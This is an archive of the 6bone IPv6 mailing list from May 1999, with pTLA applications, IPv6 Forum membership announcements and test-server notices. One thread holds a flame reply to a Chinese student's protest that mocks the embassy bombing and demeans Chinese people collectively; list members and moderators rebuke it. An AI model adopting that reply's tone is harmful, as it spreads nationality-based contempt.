with the Kame people.  I would hope that we could qualify as we are a
company with some prominence in developing IPv6 software. 



   4. Must commit to abide by the 6Bone backbone operational rules and
      policies as defined in the present document.

We will of course abide by these rules and policies.


--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210




From 6bone-owner  Thu May  6 20:09:58 1999
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Date: Thu, 06 May 1999 20:03:17 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Application for pTLA from Trumpet - review will close 21 May
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Per the request from Peter Tattam, I'm opening a two week window for the review of their pTLA request. I will close this on 21 May 99. (Note this would be the first /28 pTLA assigned.)


Thanks,

Bob
====
>Date: Fri, 7 May 1999 12:15:13 +1000 (EST)
>From: Peter Tattam <peter@jazz-1.trumpet.com.au>
>To: 6bone@ISI.EDU
>Subject: Application for pTLA (fwd)
>Sender: owner-6bone@ISI.EDU
>
>---------- Forwarded message ----------
>Date: Fri, 7 May 1999 11:32:57 +1000 (EST)
>From: Peter Tattam <peter@jazz-1.trumpet.com.au>
>To: Bob Fink <fink@es.net>
>Subject: Application for pTLA
>
>Trumpet Software International would like to apply for a pTLA on the
>6bone.  I believe we meet the guidelines
>
>
>7 Guidelines for 6Bone pTLA sites
>
>   6Bone pTLA sites are altogether forming the backbone of the 6Bone. In order
>   to ensure the highest level possible of availability and stability for the
>   6Bone environment, a few constraints are placed onto sites wishing to
>   become or stay a 6Bone pTLA:
>
>   1. The site MUST have experience with IPv6 on the 6Bone, at least as
>      a leaf site and preferably as a transit pNLA under an existing pTLA.
>
>We have been operating as a leaf and then as an NLA for some time.  We
>have suballocations of the NLA to a select group of Australian users.  I
>am also dual homed to Sprint and VBNS.  I have been pleased to supply
>interim access to the 6bone for AARNet. 
>
>   2. The site MUST have the ability and intent to provide "production-
>      like" 6Bone backbone service to provide a robust and operationally
>      reliable 6Bone backbone.
>
>We currently run an ISP in the state of Tasmania, Australia.  We are
>commited to progress to provide IPv6 service whenever as soon as is
>practical.
>
>
>   3. The  site MUST have a potential "user community" that  would  be
>      served by becoming a pTLA, e.g., the requester is a major player in a
>      region, country or focus of interest.
>
>We have a small ISP in our state called TrumpNet with around 4000 or so
>customers.  We have 3 direct pops which cover the state plus a wholesale
>internet service from two other larger providers which allows local call
>access from anywhere in Australia (at a cost).  Our backbone is limited in
>that it only goes to four physical locations. While our ISP is fairly well
>connected with two larger ISPs, by virtue of our location, we are not at
>the hub of Internet in Australia, and probably never will be. 
>Potentially, all our customers could be using the 6bone right away with
>the latest tunneling software that I have been working up in cooperation
>with the Kame people.  I would hope that we could qualify as we are a
>company with some prominence in developing IPv6 software. 
>
>
>
>   4. Must commit to abide by the 6Bone backbone operational rules and
>      policies as defined in the present document.
>
>We will of course abide by these rules and policies.
>
>
>--
>Peter R. Tattam                            peter@trumpet.com
>Managing Director,    Trumpet Software International Pty Ltd
>Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
>
>


From 6bone-owner  Thu May  6 20:10:03 1999
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Date: Thu, 06 May 1999 20:08:39 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: Application for pTLA from ICM-PL - review will close 21 May
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Per the request from Wojtek Sylwestrzak and Rafal Maszkowski, I'm opening a two week window for the review of their pTLA request. I will close this on 21 May 99. (Note this would be the second /28 pTLA assigned.)


Thanks,

Bob

====
>Date: 	Thu, 06 May 1999 16:51:00 +0200
>From: 	Wojtek Sylwestrzak <W.Sylwestrzak@icm.edu.pl>
>To: 	Bob Fink <fink@es.net>
>CC: 	Rafal Maszkowski <rzm@icm.edu.pl>
>Subject: pTLA request
>
>Bob,
>finally we have grown old enough to request a 6bone pTLA.
>Below is a request from a friend of mine, Rafal Maszkowski,
>slightly edited by me.
>
>--w
>
>I am operating 6BONE router at Interdisciplinary Centre for 
>Modelling, Warsaw University, Poland. Our registry name is ICM-PL. 
>We would like to become 6BONE backbone site.
>
>1. must have experience with ipv6 in the 6bone, at least as a leaf
>site, and preferably as an NLA transit under a pTLA.
>
>My first 6BONE router was connected since April 1997, since Nov 1997 I am
>maintaining a router at ICM now. Now we have three tunnels abroad to pTLAs:
>CICNET, SICS and UNI-C and several to places inside Poland. 
>All tunnels abroad and most inside Poland are set up with BGP4+ routing.
>Map of Polish part of 6BONE is available at http://www.6bone.pl/ .
>
>2. must have the ability and intent to provide "production-like" 6bone
>backbone service to provide a robust and operationally reliable 6bone
>backbone.
>
>We are using a separate Linux router for routing 6BONE and are going to
>run native IPv6/ATM when Cisco implementation is oficially available and 
>more or less stable. (we cannot use the current cisco beta for we need
>some functionality of ios12.0).
>We have also a couple of years' experience operating 
>a WAN/MAN v4 and ATM networks. We are also one of the best conencted
>sites in Poland, with separate ATM links to all major ISP and NRNs
>(there are 2 of them) and separate PVC to Stockholm.
>We have also ATM connection to Dante/TEN155.
>We are peering with a number of v4 ASes.
>We have adequate staff to maintain 6bone on 'production-like' level.
>our networking centre is manned 24h.
>
>3. must have a potential "user community" that would be served by
>becoming a pTLA, e.g., the requester is a major player in a region,
>country or focus of interest.
>
>We have good connectivity with abroad and inside Poland. 
>Also most of ISPs would care themselves for good connectivity 
>with us because of our public Internet services.
>In short: we are the Internet hub site of Poland.
>
>Our current 6BONE community is taking part in dicussions on
>6bone-pl@sunsite.icm.edu.pl list. 
>The current pTLA application is the outcome of discussions
>with the Polish 6bone community.
>
>4. must commit to abide by whatever the 6bone backbone operational
>rules and policies are (currently there are no formal ones, but the
>alain duran draft is a start in trying to define some).
>
>We accept and respect 6BONE rules and policies even though we do not 
>like all of them.
>
>let me know if anything requires more explanation ...
>


From 6bone-owner  Fri May  7 08:52:46 1999
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Message-ID: <01BE98B1.8E331BA0.Latif.LADID@village.uunet.lu>
From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>
Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
        "'Brian E Carpenter'"
	 <brian@hursley.ibm.com>,
        "'Bob Fink'" <fink@es.net>, "'Bob Hinden'"
	 <hinden@iprg.nokia.com>,
        "'Steve Deering'" <deering@cisco.com>,
        "'Jim Bound'" <bound@zk3.dec.com>
Cc: "'John Tavs'" <tavs@us.ibm.com>, "'Tony Hain'" <tonyhain@microsoft.com>,
        "'Svend Moller Nielsen'" <smn@tbit.dk>,
        "'Itidal Hasoon'" <itidal@emirates.net.ae>,
        "'JORDI PALET MARTINEZ'" <jordi@consulintel.es>,
        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>
Subject: IPv6 FORUM '' Founding Members'' 
Date: Fri, 7 May 1999 17:46:35 +0200
Organization: Telebit Communications A/S
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Status: RO

After just four weeks of campaign for the IPv6 FORUM, the feedback is 
tremendous!!!

People around the world support unconditionally IPv6 and see clearly the 
benefits of a dedicated forum for wider outreach and acceptance.

I am personally very pleased to share with you the preliminary results:

A - So far officially confirmed IPv6 FORUM '' Founding Members''  ( truly 
International Team ):

1  - Case Technology, UK-UAE
2  - Thomson-CSF Detexis, France
3  - Telebit, Denmark
4  - Eurocontrol, France
5  - Gigabell, Germany
6  - Hitachi, Japan
7  - Hewlett-Packard, USA
8  - DFN, Germany
9  - Canarie-Viagenie, Canada
10- NTT, Japan
11- WIDE, Japan
12- British Telecom, UK
13- Telecom Italia - CSELT, Italy

B - Very interested, but understandably need time to go through internal 
approval procedure:

1.	COMPAQ
2.	NOKIA
3.	IBM
4.	France Telecom
5.	Deutsche Telekom
6.	AT&T NL
7.	Netmedia, Finland
8.	Acer, Taiwan
9.	RADLAN, Israel
10.	Mentat, US
11.	UMST Forum ICT Group

I might be missing some names !

C - Immediate Plan of Action

- First meeting in Oslo along the IETF meeting

- First Conference: GLOBAL IPv6 SUMMIT in Paris Oct 6-8.

- First Press Release will go out in June 99, timed with the Datacom article on 
IPv6.

- More exciting programs will be published in due time.

Hope to win more IPv6 Friends as Founding Members!

R,
Latif


From 6bone-owner  Fri May  7 10:01:39 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>,
        "'Latif LADID'" <latif.ladid@village.uunet.lu>
Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
        "'Brian E Carpenter'"
	 <brian@hursley.ibm.com>,
        "'Bob Fink'" <fink@es.net>, "'Bob Hinden'"
	 <hinden@iprg.nokia.com>,
        "'Steve Deering'" <deering@cisco.com>,
        "'Jim Bound'" <bound@zk3.dec.com>
Cc: "'John Tavs'" <tavs@us.ibm.com>, "'Tony Hain'" <tonyhain@microsoft.com>,
        "'Svend Moller Nielsen'" <smn@tbit.dk>,
        "'Itidal Hasoon'" <itidal@emirates.net.ae>,
        "'JORDI PALET MARTINEZ'" <jordi@consulintel.es>,
        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>
Subject: RE: IPv6 FORUM '' Founding Members'' 
Date: Fri, 7 May 1999 18:56:03 +0200
Organization: Telebit Communications A/S
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Important correction: Mentat is an Official Founding Member!

/Latif

From 6bone-owner  Fri May  7 19:04:57 1999
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Date: Sat, 8 May 1999 12:04:42 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: jelrassi@home.com
cc: 6bone@ISI.EDU
Subject: Re: Application for pTLA (fwd)
In-Reply-To: <19990507103539.12559.rocketmail@web601.yahoomail.com>
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On Fri, 7 May 1999, John El-Rassi wrote:

> Just to be sure i have no authority in the 6bone (only as an
> active implemntor and user)
> 
> However the point made in the following argument is somewhat
> weak as from what i know a "6bone backbone" to be, is a provider
> of tunnels (of IPv6 over IPv4) and/or native IPv6 provider. 
> then not to forget that the 6bone is the test bed for ipv6 and
> future p/n/TLA's.   
> 
> testing should be in progress (or soon to be within a reasonable
> time frame) and not when it is practical. (as that will be a
> while)

Please note, I can roll out the automatic tunnel system within days if
necessary so all my customers could potentially use IPv6.  My stuff is tested
and it works. 

By practical, I mean when our router manufacturer supports the full IPv6 over
PPP set of protocols.  IPv6-header compression is still in I-D stage last time
I looked which is a serious gap in the whole IPv6 rollout to the masses.  Why
we just didn't opt for going with a simple extension of VJ compression for PPP
over IPv6 beats me.  Also, because some router software is at a beta stage, it
is high risk for us to upgrade all our POPs when a significant revenue stream
is at stake. 

In the mean time, I will be setting up a dynamic tunnel server that is tied
directly into our RADIUS authentication system.  I don't expect the take up to
be quick as practically all of my customers don't even know what IPv6 is, let
alone even want it.

So practical means ASAP in my books.  Tunnels will get me so far, but the added
tunnel overhead may be a disincentive to customers, especially when they are
volume charged.  I might even implement the IPv6 compression I-D in the tunnel
too if I could work out how to demultiplex the different compressed packet
types.

I do however have contacts in the industry that may help to speed up the IPv6
rollout within Australia.  Having a working system in place for demonstration
purposes will be a good step forward. 

> 
> i admire your efforts for ipv6 production. Thumbs UP :-)
> 
> i hope i made sense. :-)
> 
> 
> 
> >2. The site MUST have the ability and intent to
> >rovide"production-
> >      like" 6Bone backbone service to provide a robust
> >andoperationally
> >      reliable 6Bone backbone.
> >We currently run an ISP in the state of Tasmania, Australia. 
> >Weare
> >commited to progress to provide IPv6 service whenever as soon >asispractical.

I think the "commitment to progress" is the important point.

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Sat May  8 02:52:49 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>,
        "'Videhi Mallela'" <Videhi.Mallela@Eng.Sun.COM>
Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
        "'Brian E Carpenter'"
	 <brian@hursley.ibm.com>,
        "'Bob Fink'" <fink@es.net>, "'Bob Hinden'"
	 <hinden@iprg.nokia.com>,
        "'Steve Deering'" <deering@cisco.com>,
        "'Jim Bound'" <bound@zk3.dec.com>
Cc: "'John Tavs'" <tavs@us.ibm.com>, "'Tony Hain'" <tonyhain@microsoft.com>,
        "'Svend Moller Nielsen'" <smn@tbit.dk>,
        "'Itidal Hasoon'" <itidal@emirates.net.ae>,
        "'JORDI PALET MARTINEZ'" <jordi@consulintel.es>,
        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>,
        "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: SUN Joins the IPv6 FORUM '' Founding Members'' 
Date: Sat, 8 May 1999 11:46:51 +0200
Organization: Telebit Communications A/S
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Dear Videhi,

Thanks for the good news in joining the IPv6 FORUM!

We are very pleased to welcome SUN as one the 'Founding Members' of the IPv6 
FORUM.

Thanks for your initiative!

R,
/Latif

----------
From: 	Videhi Mallela[SMTP:Videhi.Mallela@Eng.Sun.COM]
Reply To: 	Videhi Mallela
Sent: 	Saturday, May 08, 1999 01:45
To: 	latif.ladid@tbit.dk
Subject: 	Re: IPv6 FORUM '' Founding Members''

Hello Latif,

Sun Microsystems would like to join this Forum.  However, I need to go
through the internal approval process before I can send the forms.  If
you have any questions please let me know.

Thanks,

-videhi 

From 6bone-owner  Sat May  8 05:50:30 1999
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From: Chen Maoke <danny@public.bjnet.edu.cn>
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To: 6bone@ISI.EDU
Subject: REMONSTRATE RAVEGENCE OF US AND NATO
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Folks,

The Chinese Embassy in Yugoslavia had been bombed by NATO with 3 missles from different directions! 

We, chinese students and fellows, are deeply shocked and hurted by this most ravegent instrusion!

WE ARE SHOWING OUR STRONGEST REMONSTRATION TO US AND NATO!

We believe, that all people who love the Peace WILL be against this kind of unhuman behaviors!

Sorry for that this is NOT an academic message, but I cannot help showing my vehemancy! Please forward this message and/or your feelings, if you do hate this kind of behavior which VIOLATES the Peace of the World and
the Dominion of an independent Nation and the Human Rights!

Thanks,

Students in China IPv6 Activities

From 6bone-owner  Sat May  8 10:20:10 1999
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Date: Sat, 08 May 1999 13:21:48 -0400
To: Chen Maoke <danny@public.bjnet.edu.cn>, 6bone@ISI.EDU
From: John Fraizer <sixbone@enterzone.net>
Subject: Re: REMONSTRATE RAVEGENCE OF US AND NATO
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At 08:52 PM 5/8/99 +0900, Chen Maoke wrote:
>The Chinese Embassy in Yugoslavia had been bombed by NATO with 3 missles 
>from different directions! 

Wow.  You are able to determine the trajectory and origin weapons class of
the attack prior to even NATO completing the BDA?  You guys ARE good.

>We, chinese students and fellows, are deeply shocked and hurted by this most 
>ravegent instrusion!

Imagine how we felt about recent visits to Los Alamos.

>WE ARE SHOWING OUR STRONGEST REMONSTRATION TO US AND NATO!

Please do so in your favorite political forum, NOT on the ipv6 lists.  It
has no place here.

>We believe, that all people who love the Peace WILL be against this kind of 
>unhuman behaviors!

I believe you intended to say "inhumane" and I find it quite hard to
swallow coming from a .cn address.  Especially considering the track record
that China has in the Human Rights and Humane Treatment categories, let
alone your foreign relations.

HONG KONG, Feb 26 (AFP) - China has made a "veiled threat" to share missile
technology with third countries if the United States builds a missile
defence shield for its Asian allies, including Taiwan, the Financial Times
reported Friday.

Full story available at: http://www.freerepublic.com/forum/a36d71a6306bd.htm

This one is interesting as well: http://www.falklands.org/china/inter.html

Hell, go talk to the Dalai Lama about inhumane treatment.



>Sorry for that this is NOT an academic message, but I cannot help showing my 
>vehemancy! Please forward this message and/or your feelings, if you do hate 
>this kind of behavior which VIOLATES the Peace of the World and
>the Dominion of an independent Nation and the Human Rights!

Survey says, "BUZZZZZ"  Thank you.  We have some nice parting gifts for you.


>Students in China IPv6 Activities


Students full of Political horse hockey is more like it.  You people go and
wipe out entire classes, imprison anyone who dares to have different
political or religious views and yet you have the audacity to cry foul when
your embassy is ACCIDENTLY bombed?  We gave you most favored nation status.
 You can build a new embassy with the profits from a single day of
exporting to the US.  Oh, that's right.  You're exporting at a loss, aren't
you.  Well, I guess you'll have to replace it with the profits you'll make
from selling nuclear and missile technology to the highest bidder.

What's the big deal?  We aimed for a property owned by one totalitarian
government, missed, and hit a property owned by another totalitarian
government.



------------
John Fraizer  
------------
mailto:john.fraizer@EnterZone.Net
http://www.EnterZone.Net
http://www.EZ-Hosting.Net
http://www.EZ-IP.Net
------------------------------------------
|    __   _                 |            |
|   / /  (_)__  __ ____  __ | The choice |
|  / /__/ / _ \/ // /\ \/ / |  of a GNU  |
| /____/_/_//_/\_,_/ /_/\_\ | Generation |
|                           |            |
------------------------------------------



From 6bone-owner  Sat May  8 13:40:29 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199905082040.NAA26288@boreas.isi.edu>
Subject: moderation
To: 6bone@ISI.EDU
Date: Sat, 8 May 1999 13:40:24 -0700 (PDT)
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With the recent spate of non-6bone postings and replies
I think it would be important to just let it pass.  If it
persists, I'll moderate postings.


-- bill
"When in doubt, Twirl..."  -anon

From 6bone-owner  Sat May  8 13:49:12 1999
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From: "Tim Larder" <tim.larder@virgin.net>
To: "John Fraizer" <sixbone@enterzone.net>
Cc: <6bone@ISI.EDU>
Subject: Re: REMONSTRATE RAVEGENCE OF US AND NATO
Date: Sat, 8 May 1999 21:46:08 +0100
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John,
This type of talk is absolute rubbish it doesn't solve anything and as you
said has no relevance on this list so keep your thoughts to yourself please.
Regards
Tim

-----Original Message-----
From: John Fraizer <sixbone@enterzone.net>
To: Chen Maoke <danny@public.bjnet.edu.cn>; 6bone@ISI.EDU <6bone@ISI.EDU>
Date: 08 May 1999 20:37
Subject: Re: REMONSTRATE RAVEGENCE OF US AND NATO


>At 08:52 PM 5/8/99 +0900, Chen Maoke wrote:
>>The Chinese Embassy in Yugoslavia had been bombed by NATO with 3 missles
>>from different directions!
>
>Wow.  You are able to determine the trajectory and origin weapons class of
>the attack prior to even NATO completing the BDA?  You guys ARE good.
>
>>We, chinese students and fellows, are deeply shocked and hurted by this
most
>>ravegent instrusion!
>
>Imagine how we felt about recent visits to Los Alamos.
>
>>WE ARE SHOWING OUR STRONGEST REMONSTRATION TO US AND NATO!
>
>Please do so in your favorite political forum, NOT on the ipv6 lists.  It
>has no place here.
>
>>We believe, that all people who love the Peace WILL be against this kind
of
>>unhuman behaviors!
>
>I believe you intended to say "inhumane" and I find it quite hard to
>swallow coming from a .cn address.  Especially considering the track record
>that China has in the Human Rights and Humane Treatment categories, let
>alone your foreign relations.
>
>HONG KONG, Feb 26 (AFP) - China has made a "veiled threat" to share missile
>technology with third countries if the United States builds a missile
>defence shield for its Asian allies, including Taiwan, the Financial Times
>reported Friday.
>
>Full story available at:
http://www.freerepublic.com/forum/a36d71a6306bd.htm
>
>This one is interesting as well: http://www.falklands.org/china/inter.html
>
>Hell, go talk to the Dalai Lama about inhumane treatment.
>
>
>
>>Sorry for that this is NOT an academic message, but I cannot help showing
my
>>vehemancy! Please forward this message and/or your feelings, if you do
hate
>>this kind of behavior which VIOLATES the Peace of the World and
>>the Dominion of an independent Nation and the Human Rights!
>
>Survey says, "BUZZZZZ"  Thank you.  We have some nice parting gifts for
you.
>
>
>>Students in China IPv6 Activities
>
>
>Students full of Political horse hockey is more like it.  You people go and
>wipe out entire classes, imprison anyone who dares to have different
>political or religious views and yet you have the audacity to cry foul when
>your embassy is ACCIDENTLY bombed?  We gave you most favored nation status.
> You can build a new embassy with the profits from a single day of
>exporting to the US.  Oh, that's right.  You're exporting at a loss, aren't
>you.  Well, I guess you'll have to replace it with the profits you'll make
>from selling nuclear and missile technology to the highest bidder.
>
>What's the big deal?  We aimed for a property owned by one totalitarian
>government, missed, and hit a property owned by another totalitarian
>government.
>
>
>
>------------
>John Fraizer
>------------
>mailto:john.fraizer@EnterZone.Net
>http://www.EnterZone.Net
>http://www.EZ-Hosting.Net
>http://www.EZ-IP.Net
>------------------------------------------
>|    __   _                 |            |
>|   / /  (_)__  __ ____  __ | The choice |
>|  / /__/ / _ \/ // /\ \/ / |  of a GNU  |
>| /____/_/_//_/\_,_/ /_/\_\ | Generation |
>|                           |            |
>------------------------------------------
>
>


From 6bone-owner  Sat May  8 19:57:50 1999
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Date: Sat, 08 May 1999 19:57:38 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone list usage
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6bone Folk,

With due respect for everyone's opinion, and the appropriate use of the 6bone list, please do not post non-6bone topics to the list.

If you still see someone posting off-topic email to the list, please do not respond to it. The 6bone list maintainer and ngtrans co-chair will deal with it.


Thanks,

Bob


From 6bone-owner  Sun May  9 09:47:37 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>,
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        "'Latif LADID'" <latif.ladid@village.uunet.lu>
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	 <brian@hursley.ibm.com>,
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	 <hinden@iprg.nokia.com>,
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Cc: "'John Tavs'" <tavs@us.ibm.com>, "'Tony Hain'" <tonyhain@microsoft.com>,
        "'Svend Moller Nielsen'" <smn@tbit.dk>,
        "'Itidal Hasoon'" <itidal@emirates.net.ae>,
        "'JORDI PALET MARTINEZ'" <jordi@consulintel.es>,
        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
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	 <franck.boissiere@dg13.cec.be>,
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	 <pheywood@data.com>,
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        "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: Netmedia Finland  Joins the IPv6 FORUM '' Founding Members'' 
Date: Sun, 9 May 1999 18:41:51 +0200
Organization: Telebit Communications A/S
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Dear Martin,

Thanks for the good news in joining the IPv6 FORUM!

We are very pleased to welcome Netmedia Finland Oy/Ab as one the Official 
'Founding Members' of the IPv6 FORUM.

Thanks for your initiative!

R,
/Latif

Latif,

Attached is our IPv6 Forum Membership Application Form.
If you want a signed version by FAX, please let me know.

Best regards,
martin
------------------------------------
Martin Sten
Netmedia Finland Oy/Ab
PO 98, 65101 Vasa, FINLAND
Phone 	+358 6 3181300
FAX   	+358 6 3181317
Mobile	+358 400 863488
e-mail	martin.sten@netmedia.fi
------------------------------------



From 6bone-owner  Mon May 10 00:23:23 1999
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To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
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	 <Remy.Bayou@bxl.dg13.cec.be>,
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	 <franck.boissiere@dg13.cec.be>,
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Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: BellSouth Corporation, USA Joins the IPv6 FORUM '' Founding Members'' 
Date: Mon, 10 May 1999 09:17:25 +0200
Organization: Telebit Communications A/S
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Dear Christain,

Thanks for the good news in joining the IPv6 FORUM!

We are very pleased to welcome BellSouth Corporation as one the Official 
'Founding Members' of the IPv6 FORUM.

Thanks for your initiative!

R,
/Latif


Add us (BellSouth Corporation, USA) to the list under B.

From 6bone-owner  Mon May 10 00:38:39 1999
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From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>,
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Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
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	 <brian@hursley.ibm.com>,
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        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>,
        "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>
Subject: Trumpet Software Joins the IPv6 FORUM '' Founding Members'' 
Date: Mon, 10 May 1999 09:33:06 +0200
Organization: Telebit Communications A/S
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Dear Peter,

Thanks for the good news in joining the IPv6 FORUM!

We are very pleased to welcome Trumpet Software International Pty Ltd, 
Australia, as one the Official 'Founding Members' of the IPv6 FORUM.

Thanks for your initiative!

R,
/Latif

With that in mind, We will go ahead and join the forum.  To send the US funds, 
I will need some bank details to set up a TT.

Peter
--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210



From 6bone-owner  Mon May 10 04:32:32 1999
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From: Robert Milkowski <milek@rudy.mif.pg.gda.pl>
To: 6bone-pl <6bone-pl@sunsite.icm.edu.pl>
cc: 6bone <6bone@ISI.EDU>
Subject: mirror on ipv6
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Witam.
	Po adresem ftp://3ffe:902:1a::1:2/mirrors/
jest ekperymentalny ftp site.
Ewentualne uwagi prosze zglaszac na milek@task.gda.pl

----
ENG

On ftp://3ffe:902:1a::1:2

there's experimental mirror site. Please test it and send any coments to
milek@task.gda.pl.


-------------------------------------------------------------------------------
A1240D 18MB EDO RAM + HD 2.5GB + CD +...                 Student of
mail to: milek@rudy.mif.pg.gda.pl             Technical University of Gdansk
    Happy owner of Amiga              Milek     Faculty of Applied Physics
-------------------------------------------------------------------------------


From 6bone-owner  Mon May 10 10:20:09 1999
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Message-ID: <3736A7AA.40A0126D@ix.netcom.com>
Date: Mon, 10 May 1999 10:32:27 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
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To: Robert Milkowski <milek@rudy.mif.pg.gda.pl>
CC: milek@task.gda.pl
Subject: Re: mirror on ipv6
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Robert,

  It doesn't seem to be resolving....  Just to let you know.

Robert Milkowski wrote:

> Witam.
>         Po adresem ftp://3ffe:902:1a::1:2/mirrors/
> jest ekperymentalny ftp site.
> Ewentualne uwagi prosze zglaszac na milek@task.gda.pl
>
> ----
> ENG
>
> On ftp://3ffe:902:1a::1:2
>
> there's experimental mirror site. Please test it and send any coments to
> milek@task.gda.pl.
>
> -------------------------------------------------------------------------------
> A1240D 18MB EDO RAM + HD 2.5GB + CD +...                 Student of
> mail to: milek@rudy.mif.pg.gda.pl             Technical University of Gdansk
>     Happy owner of Amiga              Milek     Faculty of Applied Physics
> -------------------------------------------------------------------------------

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Mon May 10 15:46:55 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
Subject: Fibertel pTLA WWW site
Date: Mon, 10 May 1999 19:48:00 -0300
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This is a multi-part message in MIME format.

------=_NextPart_000_008B_01BE9B1E.027C3050
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	charset="iso-8859-1"
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6bone people:
                       We recently become a pTLA, and i want to tell you =
that i installes a new WWW server if you want to reach it it's address =
is www.ipv6.fibertel.com.ar or 3ffe:3800:1::2

Thanks

Patricio Latini
Fibertel TCI2
Argentina

------=_NextPart_000_008B_01BE9B1E.027C3050
Content-Type: text/html;
	charset="iso-8859-1"
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML><HEAD>
<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<STYLE></STYLE>

<META content=3D'"MSHTML 5.00.0910.1309"' name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D2>6bone people:</FONT></DIV>
